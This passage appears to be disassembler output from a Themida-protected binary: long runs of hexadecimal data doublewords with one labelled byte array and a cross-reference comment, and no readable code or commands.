99FA00D7h, 4FDD9CBAh dd 3F00E9F1h, 1CFBC3A7h, 54C766h, 0AC0E1FEEh, 9EB190A0h dd 0B0B2E812h, 11073C00h, 94424Fh, 58D1FF70h, 0F5236114h dd 0C2355E12h, 60EC0700h, 3F956Dh, 59191091h, 42ADC61h dd 15F0BC00h, 369CE35Ah, 58DF3AB0h, 0A36FF060h, 50055B4h dd 25897EDDh, 0A07F177h, 9411C1B9h, 761B0293h, 49E00AB1h dd 0E4394462h, 9EB9024Bh, 0FD9F1391h, 16A0E100h, 0C202DD72h dd 94DED0D2h, 0ABA64005h, 0F7BE032Bh, 37A803B4h, 80D3203Bh dd 1457666Bh, 65DEF4h, 71E1328Eh, 8040971Dh, 0B6BC1300h dd 0AB5B8C6Eh, 2CDB004Ch, 0CB380D15h, 92005676h, 1F2D9324h dd 0AEE7A5h, 40467B22h, 48CA80FEh, 548B4301h, 0EC958613h dd 0C8DFC731h, 583D9D3h, 1DB798A0h, 88001CEh, 20E8D27Ch dd 0D3030762h, 32CCEDC8h, 0AF87F097h, 695B00FCh, 4B9D20B5h dd 0D1DEA25h, 88C67E6h, 313FAA5h, 0B43A6EACh, 7BF04E18h dd 6D2E6936h, 8B004461h, 0BE607EC6h, 27DE009Eh, 0E4410113h dd 0B700B043h, 0D61A7C6Eh, 702163Ch, 8CAA5AFEh, 77680DBh dd 0D200A848h, 816FE6A9h, 39CF2369h, 0BA80D9A5h, 24978EC0h dd 7D26621Bh, 0CB051867h dd 9201EED4h, 0E36BA7E4h, 57B4DCh, 85DCB712h, 961C0E33h dd 0D3759703h, 0B8C7DE4Ah, 0E7A614F2h, 0C3188853h, 35510037h dd 0DAB67CBCh, 0E10E43C6h, 6BE3F9ABh, 0B594A1D8h, 0C4803D52h dd 9C491BA4h, 0E000D1A2h, 24D4850Ch, 0DB4758h, 2AC6E6F2h dd 96CBD989h, 8B051900h, 8CF67F85h, 38E9F659h, 0F93E176Bh dd 92B29800h, 1248F53Eh, 0F2015E70h, 1A9914E0h, 0D4249F7Eh dd 0E8AC1C2Fh, 389227h, 18A36529h, 700140CCh, 0ABFEA0A7h dd 62DC50B4h, 0A8BA00F9h, 93491C0Bh, 0F600AF85h, 0DBF3FA51h dd 3DFE6Fh, 0EFAC4E39h, 0E82F8405h, 0E29A8500h, 1C49C7F6h dd 1220008Eh, 6E5E2D5Ch, 0F01B8CB7h, 0A841A679h, 0BF0960h dd 0BDD63D2h, 26B462E9h, 28C9C700h, 94AE0457h, 87D09F7h dd 58408C34h, 8F3E0E6Ah, 211B8340h, 1CCB6C82h, 40018D51h dd 0B56EF99Dh, 6B03A639h, 0C49ADC1Ah, 62BC88C6h, 1CFAEA19h dd 0DE73A060h, 36B40F6h, 7A6FDA3Eh, 71241218h, 49B2C568h dd 1800F427h, 0BE25A467h, 0B8003D7Eh, 49E69975h, 0FEEAE28Bh dd 0DA6017F9h, 0BE320161h, 0D9627D3Eh, 35B8502Ah, 11343A8h dd 0E60117B9h, 349C3C53h, 0D7BCF4h, 431B2821h, 146E248Ch dd 2307D400h, 838037E9h, 30400B6h, 42A796FDh, 3B00F07Bh dd 0D8E04C4Bh, 0DC8B9C74h, 3895FBF8h, 0CC009077h, 0B6545C9Bh dd 0A902F25Eh, 0E6DCFA3h, 3E688053h, 9F1102h, 15989549h dd 0CA0A60DCh, 0E7EEBF00h, 0C85F0362h, 0D779004Eh, 568C8591h dd 114C8399h, 0A7982E19h, 6FA40D00h, 77131Eh, 4E400A53h dd 54CF33Ah, 195A3500h, 6E69F8D1h, 4D7D0024h, 0D4451148h dd 0E9005429h, 5F99D0BEh, 75CA5Ah, 780C257Ch, 0C4A22467h dd 0C984EF04h, 7C5C19Bh, 0BA013380h, 59F20E44h, 9C602B6Fh dd 0D80CC3DBh, 0F0E60400h, 0BDFA97CCh, 5A6A00F6h, 0FBD22A41h dd 0F83B17C2h, 0D05831DDh, 47C48A8Fh, 0C3830342h, 0FCF709A0h dd 215A5EE0h, 0A30EAF1Eh, 0F3608Bh, 0B8C69D00h, 7C8138CCh dd 0FE5FC580h, 0A51311C0h, 28E8CE5Ah, 0D8845960h, 7E76D6CDh dd 0DA5B3C00h, 47570485h, 5FC8C089h, 0B2EE5DFh, 750907Fh dd 0F67CA11Ch, 0A59FFC00h, 4D170126h, 3D1E222h, 0A3D5AEF0h dd 0B8B07BBh, 441408A8h, 0B7002BE4h, 0FD569B1Ch, 69EB0Eh dd 1E3D7B52h, 0A68ACE9h, 146FD70Eh, 3801F91h, 0C7F12179h dd 0AC2B0004h, 0BCAA38A3h, 0F31E4B20h, 2A4099EDh, 23DB61DDh dd 740E027Bh, 0B876D2A6h, 47226F40h, 0D0206C07h, 0EC098B2h dd 0A6FF69Fh, 0EC4C8AA2h, 9BF15820h, 8458E0h, 80E0F338h dd 2B063FB6h, 0D9881A00h, 0BD218513h, 908A0AB7h, 0CE39368h dd 0DE494F25h, 4A8CB800h, 0CE71D32Ch, 33834872h, 0CCABAF01h dd 816EECE1h, 3398F6E8h, 0A3D0D813h, 2D90E3h, 58F29E46h dd 0D12A1C25h, 0E63B7F19h, 0B2C8A658h, 321407FDh, 90602871h dd 2A88E913h, 10FF58h, 88316AFh, 0A01B73D3h, 1F23A4h, 47AC2A21h dd 96A93B1h, 0FF2B1203h, 0A08AA988h, 3F721808h, 0AD867C34h dd 0B945BBDAh, 0D0C11700h, 0DFBC1804h, 4AEC15FEh, 3AD4800Eh dd 46D68905h, 5C806891h, 0A8191630h, 909830h, 5B15A9Eh dd 0DAD5330Bh, 0BAACACA0h, 592F0800h, 0A1EB1A94h, 176A0147h dd 0E2A63E43h, 5D98D09Bh, 18B6AB00h, 91CACD44h, 848D00A1h dd 0CCAC8306h, 6DF8BA0Fh, 158B0A0Ah, 0F0128070h, 59275D02h dd 10209638h, 0C0626E3Bh, 7EC84B25h, 58CB641Bh, 96C2C020h dd 0AE001813h, 3D9E47ABh, 90E2213Fh, 0A42E07D1h, 0C041270Ch dd 8B1CC082h, 8E322A1Fh, 0D402DF80h, 1C62BD9h, 0AF74F9D8h dd 41E1B6F0h, 0C05F9EC8h, 0FC07A1FAh, 1EAE3F5Ch, 0CF8A5363h dd 7B5DA680h, 149200D8h, 6F404741h, 38C09A9Ch, 0DD1FF890h dd 0E50D0070h, 0FF0471CBh, 3B4C25F3h, 0B5850CAFh, 3165C64h dd 31CA847Bh, 0D9A0812Dh, 926B2A5h, 101F4B2Eh, 3BF8F82Fh dd 7080E6C6h, 0E029F023h, 66009F84h, 0C1E996B5h, 32D03Ah dd 0AAB372D6h, 3145CB19h, 0D8BDFC00h, 956C2D8Bh, 0F7FF0043h dd 830A8085h, 59EA7867h, 8CFBD600h, 0CDB5E189h, 848A0079h dd 3A2C7C6h, 40C14E19h, 41CF9FDh, 71543FCh, 0EDFB41Dh dd 80A3B7D3h, 0BFA53C92h, 93422A03h, 0B47A919h, 0B04CF179h dd 57E0820Ch, 0F82EC40h, 5FC98FB2h, 0B9E89360h, 0A10069AAh dd 0B0974F31h, 0F00942h, 37028C7Eh, 14754334h, 6700F3F0h dd 0E2402AEFh, 38B7E4C5h, 92037D8Eh, 0F8E35028h, 9BFB6800h dd 0B111DEAh, 0C34F00AFh, 4957DF04h, 0C801E801h, 4CE976DDh dd 0A6833EEBh, 6ADBB008h, 9A842EF8h, 0C1386375h, 6F300789h dd 28203C7Bh, 297F5Fh, 0D71F4C03h, 4A5B6DADh, 9532FF38h dd 0B004FA16h, 0F1E887h, 0B5F7BACEh, 3D685871h, 0C98E2D00h dd 87DB7BDAh, 0F5210049h, 1D4B4051h, 80099F9h, 59DC0C5h dd 60027DBFh, 5FB65178h, 0E10126D2h, 0D9344EE3h, 3DD092FBh dd 3D32EEF7h, 47A88433h, 95701FF5h, 0E09ECF3Ch, 0E18BA120h dd 6A00A551h, 0D8A41634h, 71D3D01Eh, 0C475000Eh, 0BBE84F36h dd 160025E6h, 0FF0E3DAh, 30917A4h, 91A60449h, 0D9004677h dd 70D8E4D1h, 0EC904Bh, 5EED44CBh, 8FAD4FBFh, 0B8E2DC00h dd 0C2D039Dh, 0E82FE82Bh, 0FE2C026Fh, 85B92636h, 0D9023480h dd 0BF7AA11Bh, 7D105042h, 666805E7h, 0C0FB5E1Eh, 0D49C083Bh dd 353C831Dh, 867B9D06h, 0D6020029h, 8F46D244h, 570073D0h dd 7639BBF2h, 49E219h, 0F97A3C0Bh, 0AE0152BFh, 4A9840FFh dd 0B21E57AAh, 6100DD19h, 5E25A3D2h, 51CF0030h, 4FCD9B11h dd 0A930272Ch, 0F23F68D8h, 0FF4700B1h, 6597D4CCh, 0E0019BA4h dd 0CB754273h, 32E8480Ah, 0A5CC00E1h, 91C3EEE3h, 47006821h dd 611A7362h, 1D9FD6AEh, 89BA9DBDh, 0B780E422h, 5F8B9213h dd 762627E2h, 6E009224h, 2FA3EC15h, 0DB98A8B9h, 3D62091Bh dd 10229359h, 95180767h, 125C08D1h, 0A46340B0h, 862040F8h dd 1D61002Eh, 30F59DCEh, 4F033EADh, 72763487h, 0E1F9C03Fh dd 0C528014Ah, 1ED21638h, 82F080BEh, 5AA65F7Eh, 280301C3h dd 3A68DACAh, 0A959F0BCh, 48482AE4h, 62DC0070h, 0D4DEB5A4h dd 457700FAh, 0F7757FD2h, 0A700E7AFh, 52878CDh, 1D0A48Eh dd 74F69D55h, 5027DE30h, 0F39118ECh, 92FA80C0h, 3DFF6A7h dd 875BEF73h, 876B668h, 0FAD50A00h, 0D1B7E539h, 0F8FC0337h dd 53696FBEh, 804E06D0h, 9D54BA00h, 0BDB54668h, 0F0A6EE20h dd 30935564h, 91EAB4D7h, 8C7786C6h, 0F8B04F61h, 7FB771CDh dd 60E3DE4h, 0FE93F00h, 2E0B7287h, 0CEAB9003h, 0E413A4h dd 0A3AF8668h, 0CA027330h, 40A54705h, 0D00E15CBh, 791D6012h dd 4E184E76h, 0F3B2E0F2h, 2013A933h, 5116B828h, 2D9D0539h dd 5E3B0B42h, 81AA8188h, 35CCD049h, 0B3D84024h, 78485B7h dd 0A40ED8DFh, 2850A477h, 0F11A000Dh, 48BBB829h, 0EE1CD4AFh dd 0E1C0E52Eh, 0C4E8406Eh, 0ABDE16E0h, 0DC900FD7h, 1026F023h dd 0BE47BD90h, 0AD642C54h, 1E4E111Ch, 6460C0F4h, 16665Dh dd 29C2FD1Bh, 25BF4C0Ah, 214DC000h, 0EDCD0CFEh, 4CEE4CDDh dd 0CC1A6F0Ah, 1304002Ch, 6439234Fh, 0AAE00186h, 1AF232C5h dd 74D1E80Bh, 0ECA3FE09h, 0D07C2071h, 8A83E2h, 3F6D81E3h dd 31EE179Dh, 5BBA5F03h, 3B3211Eh, 0E3BF0828h, 393E5C55h dd 0E01884B6h, 0A8D893F1h, 20C66042h, 42F58CDh, 3B622200h dd 95C0EB10h dd 1E85029Eh, 0C4162792h, 0A2E16865h, 450838C6h, 571F4600h dd 0DDC53E98h, 0D688A080h, 16F0040Eh, 0D024D425h, 7BD5B96Ch dd 2811EA00h, 758C9992h, 9E1B00A6h, 0DB66D63Bh, 0CF00C00Ah dd 39426E06h, 2AF50CFFh, 29B0A083h, 80DC4F74h, 4C381663h dd 0F2421F21h, 7F749071h, 13930032h, 0E89A3A1Eh, 4013D628h dd 343BB884h, 0C0C65110h, 0DF2DBC20h, 79E50CF2h, 568BDE4h dd 0A70030F4h, 0D6421D17h, 2A14D8h, 0E1200AADh, 0EAEAB60h dd 0DC22E7h, 0CA36D1C4h, 0DFCB9BAFh, 0B6744F81h, 9948F840h dd 0A802BDD7h, 2945CF7h, 323C68AFh, 0E0472BDCh, 0AB02880h dd 1BE5C1B4h, 3A666280h, 165F4700h, 68DC0324h, 4F437384h dd 0A480EDAAh, 0DEAA91D5h, 0B1C9E400h, 1B09288Ah, 135E206h dd 0E2883EC8h, 5156223Ch, 8099D2F4h, 0BA038EF1h, 1FEB3346h dd 81213C20h, 9EDE7E1Ah, 13B220F7h, 0EC129416h, 56041401h dd 7ED47364h, 414700D5h, 637A7DEDh, 0C9CF4C67h, 0C0E56F23h dd 0CF3F642Fh, 13BC90CAh, 60619D38h, 0EEF5466Ch, 9CB77226h dd 80FB23C2h, 0B8A2DC90h, 0BE721CD9h, 0F49B45A7h, 2A5580E0h dd 75052C0Ch, 0E9BFB9B5h, 19CBFC60h, 43F2120Ah, 0F7982C51h dd 502E9F00h, 7835DC63h, 23CF8BBh, 18481EC5h, 14E0762Bh dd 4B1B30Dh, 6D1470A4h, 0B4D2805Ch, 0B0693448h, 40C8917Ch dd 12B7F8A0h, 4EE0660h, 26881E34h, 1946B0Ah, 560FDAA6h dd 0F286270h, 892C1E2Fh, 0A1282048h, 58A4581Dh, 0F6BC04D1h dd 46898AAh, 43019C05h, 683ADA03h, 44207267h, 5CD3E656h dd 700114BCh, 6025D8C6h, 2479E947h, 4300FFE4h, 0CB3E5276h dd 0E5ECD26h, 0AFB98220h, 5C300012h, 0F03CD0DFh, 4D13805h dd 8C2FC07Eh, 0A2845C2Ch, 9E391E8Ch, 6FB00020h, 0EFFFC1CBh dd 9C3CE31Ah, 92149D89h, 14605549h, 4E1C412h, 0C54A2F70h dd 100C2F08h, 0B8C0F8A4h, 0A50D5B9Eh, 2C875E26h, 0A0A84209h dd 0D17AD59Ch, 3D190079h, 0AABBC5AEh, 5600E5EBh, 0A3A223D7h dd 5DE86EEEh, 684C4C2Bh, 105BC600h, 1F2CCD9Eh, 9D3AF000h dd 6B20810Ah, 0D5BB0C9Bh, 96316ED2h, 0BA415000h, 1FCB1B11h dd 0C68D0001h, 2CEFA11Ah, 0BF09E7B1h, 23485F5h, 19904348h dd 338D2018h, 4070592Eh, 8EF258h, 0C2DCACAAh, 0A83F4A44h dd 355F6302h, 0E08DBFAEh, 0B0BD9C70h, 98EB5444h, 217D3C43h dd 4F28D386h, 9BF84809h, 34F37C1Dh, 0D8687642h, 40C3C24Bh dd 0F6FE1FDh, 926A2F64h, 3C3B4EE1h, 0FA9C411Fh, 8C82E278h dd 0A4E09ECBh, 12FF666Fh, 2564903Eh, 345511F6h, 0F4E58A11h dd 0B8D7B380h, 9C1C8Eh, 3123D076h, 0FCDD07B5h, 0E8836418h dd 927A49h, 28906788h, 0FDEC0A1Ah, 9E18E9F4h, 0A61040E4h dd 0BC2A50CEh, 93BF4E1h, 0F6348762h, 7DDACC90h, 1FFCE054h dd 30F8F35Ch, 5B583035h, 92D60079h, 7770BF09h, 0C8F836EBh dd 76656E00h, 9932C1AFh, 6ACA002Bh, 4E25026Dh, 11C02996h dd 0DCF8D0F5h, 0EF4700C6h, 0BF782067h, 0BD585730h, 20B12900h dd 39AD0E81h, 3198EFC8h, 80907893h, 6F14C652h, 0F1366558h dd 0B0F01420h, 58E80CD2h, 3208D369h, 830FB56h, 0C0F0AFF9h dd 0F6198150h, 66A4B805h, 4C6698F7h, 46587170h, 94B007C8h dd 77D3F615h, 0C93CA410h, 7BEDB310h, 533010CAh, 18C6EC89h dd 1D3E0070h, 0A20478F6h, 0B2B1803h, 89429C02h, 66D03894h dd 0AF7898C5h, 3018682Ah, 0AFF8701Fh, 0A92830AEh, 627464A2h dd 1073CCA0h, 8D0118A5h, 8CAA3F97h, 0E2F02882h, 44B8C6D0h dd 567AB566h, 2C41A62Ah, 1F325002h, 0C0CDC748h, 0C11A8755h dd 7FCB5898h, 60B44BC5h, 98AC4F70h, 0B024A847h, 3A70051h dd 481A8378h, 1F04AF27h, 7EB7D8F6h, 48287084h, 162D292Eh dd 91100024h, 599803A3h, 248133Fh, 18F7619Fh, 84808E75h dd 1C836D7Dh, 0D2328158h, 0A0985822h, 58EBC2Fh, 3A12B70h dd 0A64428F8h, 68A1523h, 0C865AED0h, 0E78CCE50h, 0A7087763h dd 7890019Dh, 0B803A04Bh, 38B08CE8h, 58602Eh, 4641079h dd 0E4659176h, 0C9D2831Eh, 38730141h, 0B4C48255h, 48EF001Ah dd 0FCCF604Ch, 0A0003ADh, 508E7DF3h, 3C4657Bh, 0A4C82529h dd 64C09F6Bh, 831B93CAh, 0E7581524h, 2189D86h, 4C9DD0Dh dd 30907FCDh, 94E86DB6h, 7EFF7420h, 0EE7E0817h, 0F901CCB0h dd 0B2E48396h, 11A40887h, 0B1808F97h, 0CC246588h, 7F587F56h dd 28765129h, 89D14E00h, 0D1CC4466h, 88D87490h, 8E214B9Ch dd 0FFAE80F0h, 4404A5A3h, 94F7B814h, 3EA2A738h, 0C50E3092h dd 0EE965605h, 18207046h, 304D5DAAh, 671190B3h, 0EB14E8C8h dd 14ACF042h, 29C87E74h, 968034B9h, 3320544Eh, 0EE7D053Bh dd 2C862B05h, 0F00C06A8h, 0F9108060h, 862807C0h, 4235C524h dd 18986944h, 5D0C84E2h, 0F08C0BDFh, 652607A4h, 4A271504h dd 6641E018h, 89C187DEh, 86E5130Eh, 3F30585Ch, 0EB00923Ah dd 0BB6E7DFCh, 0C4238754h, 197781CCh, 8D0D4066h, 2802CE80h dd 33DC3C1Dh, 0F7A93039h, 57AB2E50h, 0F364870Eh, 42C9250h dd 965D0A3Dh, 8416C4h, 0A5A0BC8Eh, 0D70365E4h, 17272484h dd 47DFAB64h, 3026008h, 0F92201C0h, 9E5AAC00h, 62E601ADh dd 0B3666B99h, 4490EF46h, 600AB16h, 35086D0Dh, 7CBA57h dd 2B34F580h, 0C3318BCFh, 33384C02h, 981FA6ABh, 1C03AE14h dd 40EB45DEh, 2AC7ECC3h, 3D5266ABh, 943C018h, 80FED5EAh dd 0F233468Ch, 0A0ED904Ah, 48C482C6h, 1C433BAEh, 0B62CFD58h dd 2C3830FEh, 77054459h, 0AB315706h, 0A14E1870h, 0BB98A3h dd 8ACCC336h, 0D826AB29h, 2146952h, 0A5E779BFh, 916C0111h dd 0D6104868h, 1B1CB10Ch, 30C78E0h, 264AEA1Fh, 0B842E4CDh dd 40009D9Ch, 0D34D511Fh, 23AC02C3h, 0C8649BFh, 3A384D38h dd 0B0D40318h, 5028D124h, 0D01C90C0h, 7450D960h, 98A25BB0h dd 0A3B0283Bh, 2C283D5Ch, 0F900AC75h, 5D464A1Eh, 3C26180Fh dd 60AE2F2h, 0A9C47FEh, 0AFC17CFh, 708C10CBh, 79183DBCh dd 2C78C7C5h, 6C6A1EABh, 31F4B9C6h, 8640C466h, 0D0E60025h dd 0F8495284h, 0CB63EACEh, 98482DF3h, 4DA00A8Ah, 0FAC060C6h dd 54941511h, 4854C4E2h, 2824AD02h, 0B8502358h, 78BF1876h dd 3B0C30EEh, 4640AA01h, 0F639D505h, 15013058h, 905C24FAh dd 0C2DFAC0Eh, 2B4F59EFh, 0AAFCB962h, 63F6FB60h, 0ED023390h dd 2A8C5ABBh, 346840F9h, 4659053Bh, 706C64E6h, 2D192E74h dd 4C806279h, 317D3B46h, 18B46883h, 80C1FE6h, 50CAD286h dd 0AA9D00EDh, 57B61C6h, 80781DE6h, 0BF02061Fh, 5540A600h dd 37EC08h, 902C7076h, 7E2659E7h, 0C6ABF806h, 31202A56h dd 9B10C18Bh, 1FE441CBh, 0B7609877h, 6918608h, 0A62C5B11h dd 0EB018813h, 0B526193Dh, 0AC4B6C68h, 78FD4F0Fh, 3822C629h dd 948528BFh, 95900EEFh, 0D90054AFh, 66181C34h, 9EB01E6Eh dd 14A69870h, 0EC701AFBh, 0CC9670A2h, 0FBB064F8h, 19543649h dd 2C5026EAh, 86E1C457h, 0B4F4795Bh, 0E4E60E58h, 0A0875909h dd 65C6410Fh, 0FB6894CCh, 476774CCh, 0E3F486C8h, 30A18C81h dd 819045F2h, 3462C7B2h, 0DA2C0038h, 795C242Ah, 49F98700h dd 5D398129h, 0E8589C21h, 83865900h, 4DAC099Eh, 39C70C92h dd 3782F297h, 8AEB6C49h, 94FFF9C8h, 90703Dh, 0F652D518h dd 0F8DFD010h, 0A03DE6B5h, 0E83E29E4h, 2D2007A6h, 1060995Ch dd 0EA038C0Ah, 0C2AC5B0Ah dd 590F8821h, 6F1D1D85h, 616B6070h, 0CF4C300Ah, 9FA16C30h dd 49AC340Eh, 40EC839Ch, 1C4001E3h, 386C5C44h, 0A97B2045h dd 0CC3BE27Ch, 0C0174B1h, 659DC1Bh, 0E88CD5C8h, 86058C4h dd 0A41908C3h, 6E183005h, 0B73BE628h, 0C2C108C6h, 0A161FB0h dd 98F8477Dh, 9058D463h, 7E9A3678h, 5D743914h, 99D70FA8h dd 18370C63h, 60CA6ED9h, 0E056F086h, 0C4578328h, 8CDB5E28h dd 0E6080661h, 9043DD21h, 60A912DAh, 0FC001E08h, 39AE10E3h dd 28952001h, 0EF2EEC5Bh, 0ECF86CD0h, 484C1908h, 9F1730D9h dd 4984638h, 0C610E660h, 480FB308h, 609871E8h, 4DC6341Fh dd 30016E12h, 0AA81EB66h, 904807F0h, 0CBF232D0h, 0E040BA18h dd 0B4925506h, 0BC627024h, 160B09h, 57F60B0h, 1D0C3C46h dd 20AF247Ch, 84518D0h, 127C7C66h, 89D2F9F1h, 2571C38h dd 40FF95E4h, 0C6F85EF4h, 280E3108h, 0B40C9A24h, 611580Fh dd 24E8C106h, 0E0DCD9ECh, 2FFFCFC2h, 0A0CE9326h, 2C04CB12h dd 608089D9h, 0A0F33C4Ch, 0A0222390h, 908485F4h, 0A1927BB4h dd 2420AED4h, 3086630Ch, 1000F92Ch, 861FA6Ch, 0C9E2AEACh dd 2C010D40h, 0BEE3092Ch, 0B00E2888h, 0CCF0F07Ah, 0BCDF9428h dd 0E6E03450h, 46C441FFh, 0B960206Dh, 4C082A6Fh, 0E18C4864h dd 2DA6F841h, 3E263020h, 4879C3CCh, 1907D077h, 4F7E91EAh dd 0F5317CE0h, 7F0CCDD3h, 8D127F9h, 7E993CD6h, 639A330Eh dd 1E9E6CC4h, 0AFE851D8h, 2978CC57h, 9C63691h, 31A81096h dd 3308B2C2h, 8E1889B3h, 0ED0C04D8h, 7F863CC0h, 6366F811h dd 0FBD095Fh, 704A1826h, 0B5290600h, 9061A607h, 4760A114h dd 6473C6D0h, 81B1107Fh, 214FE618h, 0BC4AFD20h, 488D2E08h dd 0B1EAA605h, 1045A402h, 0BC2CC518h, 6F175BD8h, 0DC28141Ah dd 3095B450h, 1788ADF9h, 0BF80828h, 920B1CA6h, 0A0339B30h dd 98CAC30h, 0CCF9127Dh, 8B90042Fh, 0C53C8025h, 64B9180Dh dd 98193260h, 509F5DF4h, 7D0E4802h, 14980CD9h, 0C231C81Ch dd 0B8EC69C0h, 8C087901h, 949F5A8h, 24B4988Ch, 3B2C1F99h dd 0A4836A4h, 96D089ACh, 6200499Ch, 894874AAh, 74A4C24Ch dd 0C87CC668h, 4BEC18C4h, 0D9B274D0h, 0DDF1DF6h, 831F07DEh dd 2F7F80DCh, 0C11DC552h, 810746A1h, 5FC1A072h, 1F14EF9h dd 1DF5D3C4h, 3D2BEA4h, 0D8146584h, 0C550FBE0h, 1E3FA11Eh dd 0FD05013Ah, 0FFB304F5h, 3A4C44D0h, 0EC00C193h, 1E228DF1h dd 6433C25Bh, 7851090Ch, 91713A20h, 0D1D0C407h, 0CD8643F5h dd 0CED7E4A0h, 0F60324F0h, 7161C541h, 80E1A048h, 81D80CEBh dd 8EB04FB3h, 1C79E3Ch, 0B0890ECBh, 0F0D0B6FEh, 0D008C0F9h dd 41C54C3Ah, 1E0CA63h, 0E1F00478h, 86D81A49h, 211E08DAh dd 373E15B8h, 19D419CEh, 373C9308h, 788308EEh, 0DAC1E1EFh dd 7141F886h, 563020ECh, 1584081Bh, 67823C99h, 5401C687h dd 3442830Fh, 0DA21100Ch, 78EC1855h, 0FE8118F5h, 68F11064h dd 0F8DB20C5h, 0CC5377C1h, 3E3110A4h, 74AF410Fh, 2062E186h dd 660FA119h, 318CC010h, 0A482DE2h, 1FC12718h, 41AC3F09h dd 8A1A2121h, 94F88408h, 991B0600h, 0A0C2C4E2h, 0F0138198h dd 5F6C00A2h, 0BEE4A1C3h, 0AC3C2284h, 3F3C7F23h, 0E3E2008Eh dd 3861D145h, 3AF77CDFh, 780BF5h, 0A1C2892Ah, 0A28483D3h dd 0F5CBC3Eh, 0A0340E21h, 0F464D829h, 723200BBh, 2E0DE863h dd 4615B1AEh, 108883h, 9738F19Ah, 1FAE70D1h, 1E1B8111h dd 6C3D204h, 0F02E7F40h, 1C82B729h, 0E742E200h, 0F3D448Bh dd 14BD71AEh, 4488C9Fh, 2F0534E8h, 10D9C1C6h, 4C0FD00Ah dd 40190B60h, 0D1A04041h, 64C2F224h, 0C031760Ah, 0D8BD8A0Ch dd 0F0606334h, 70A5710Eh, 2E011244h, 738F5A01h, 77FA31AEh dd 0ABA24880h, 0F072828Dh, 0B662990Eh, 1C0285DDh, 0D4154430h dd 458E3073h, 0FC4391C8h, 5357C090h, 805D0294h, 1D03A2Eh dd 92D2BCF1h, 0F0022928h, 406E363Fh, 0F00445F8h, 179C249Fh dd 2CF20958h, 5A74F003h, 58A5BFE0h, 591A28C6h, 11B66218h dd 46065D33h, 0D11F1218h, 8CFC0516h, 27A007A8h, 9A2241ADh dd 4F0030E5h, 1089D207h, 9047CD57h, 8109D41Ah, 0C14C02B9h dd 703D2016h, 69345089h, 0A02808F9h, 0ADBA006Fh, 0AE3C86F8h dd 0FB63B951h, 483BACA8h, 99063A08h, 88A316C2h, 0D0654628h dd 0C74BB24h, 2AF75F70h, 26A8A0D4h, 42C76B1h, 8432B7C4h dd 0C5C02898h, 31AF393Bh, 5F118091h, 184A7C35h, 1A12653Fh dd 0D738211Eh, 5BAC203Ah, 0BFC1310Ch, 241F0855h, 23942D48h dd 454C0220h, 0D122EF40h, 5FD0402Dh, 2C084868h, 17CED2E0h dd 70D03910h, 10D4CF28h, 46D7C17Fh, 96BC0218h, 409E36B1h dd 98189144h, 24A1487Ch, 2BCA27A0h, 3D43C810h, 61FFC44h dd 0DFC12579h, 7F189846h, 0F3183F9Bh, 2278C90Ch, 2872880Eh dd 3B1885F0h, 5151C3C0h, 0F5A300EEh, 87D32875h, 0FF7474ACh dd 0C671EC01h, 0E9400BE0h, 6370ABD0h, 0EABB08EBh, 8CDB1805h dd 66870C99h, 0D4328BC1h, 0B73A188Fh, 0BE714B03h, 0B995201Dh dd 10614C0Ch, 0BF043E8Ch, 0BC89CC0Fh, 0F0CE0093h, 5D80AC85h dd 948C980Fh, 0B2071FF3h, 9DC6864Fh, 23780B18h, 2D0348FAh dd 0D2C14D43h, 80F8D044h, 671810C0h, 32D7B21Dh, 3F080C35h dd 9D5B701h, 0F92757F0h, 1B5301h, 774D480Dh, 4CB50C58h dd 3850BEF8h, 420E3Eh, 48CDC5D8h, 0CCF7B678h, 0B8105178h dd 4A966A17h, 0E108351Bh, 509853FEh, 769708F3h, 77196278h dd 0A61856B9h, 0C43D70BCh, 0DE17187Ch, 7019A01Ch, 236E30C6h dd 30ED3128h, 8CEFEE08h, 0C037BFD8h, 48CB00F6h, 4CA93498h dd 0D5786B58h, 0D6CD1819h, 888C6D08h, 0B820ED98h, 0F8089560h dd 4B2208h, 424F6338h, 45ABEDA2h, 0F0C20200h, 0E79F119Ah dd 0E571019Dh, 6636EF7Ah, 0D14CE046h, 64016C80h, 7791062h dd 9CD0310Ch, 0E97E1BECh, 0C7CE6F0h, 790496EFh, 0B650C440h dd 1B03A5ECh, 0F010C9Ch, 0D5A386h, 7EAF6C38h, 582C16EFh dd 0E40076E8h, 0A0D996C7h, 2E138h, 2992405Bh, 32473CCBh dd 8CB53E20h, 361A0014h, 643C9BF4h, 2A32D247h, 98F970A6h dd 7B542714h, 4DCD0161h, 0FE87247h, 0E7020B9Dh, 62462684h dd 0AA171200h, 418C0A9Ch, 0E0188611h, 6A792788h, 474EFF00h dd 9C679DB2h, 8CE61CCh, 20826E2Ch, 6D60835Ch, 3696EB49h dd 0B608C61Ch, 0C94011B8h, 22270376h, 0D2CDAC9Ch, 9C823026h dd 8C8F3A3Ch, 89A4CE8h, 0EF0515ECh, 2EC0489Fh, 7A5D7173h dd 0EC529CA0h, 4ED06350h, 14CE52h, 0DA8BD08Ah, 3D476181h dd 0DE0076F2h, 8612BE2Dh, 0B8C0632Ch, 9F27E94Ch, 0CE2228ACh dd 0E81750D8h, 64D31FECh, 31FF019Dh, 4CEACC9Ah, 0E4004844h dd 3DB4AA34h, 0C0499247h, 575AED60h, 43066C86h, 0F54C9F2Eh dd 49F619F8h, 206860D2h, 0C2242C30h, 7D143C61h, 5AE5884h dd 0BF8C9AC7h, 83D46430h, 0D61820BCh, 0EDC53218h, 9880660h dd 2CF8EC9Fh, 2B2E4C03h, 88F1082Ch, 0B8FEAC06h, 0C5C8CC8h dd 0B6D5488h, 0E528D251h, 0A048881h, 0DF6C9FC8h, 0A82C6C84h dd 20490AF7h, 0CBC671Eh, 0AC880672h, 0A4F03228h, 0EFE31A02h dd 47B8FB56h, 4790050h, 6047C914h, 308C3C90h, 5FF88404h dd 0B20279C6h, 640057F3h, 91B6A965h, 37C0408Ch, 0CE49B397h dd 9F511904h, 309578C8h, 0E3807CD6h, 0C1768FF9h, 33F230C3h dd 660125Ah, 3A0008C6h dd 9C4C5615h, 67C95B9Fh, 92980265h, 6CEC81BFh, 702088BAh dd 9702E952h, 87463898h, 0A1BF1530h, 0A1C3CB32h, 4030B4D8h dd 0C50ACF6h, 64E01662h, 0C633D231h, 427BD00Fh, 51CE8068h dd 0CBA8B78Eh, 0C831720Ch, 6C14492Ch, 0D58BE26h, 0B40AE16h dd 7DE0288h, 40899D18h, 0C45A1260h, 90462CD8h, 0D0A54954h db 91h byte_5320C1 db 20h, 60h, 0B2h ; DATA XREF: Themida_:0056BB4Eo dd 0DDD118F2h, 204ADF79h, 860F8085h, 9D58C606h, 0BD521460h dd 0DA01494h, 0FB2A59C2h, 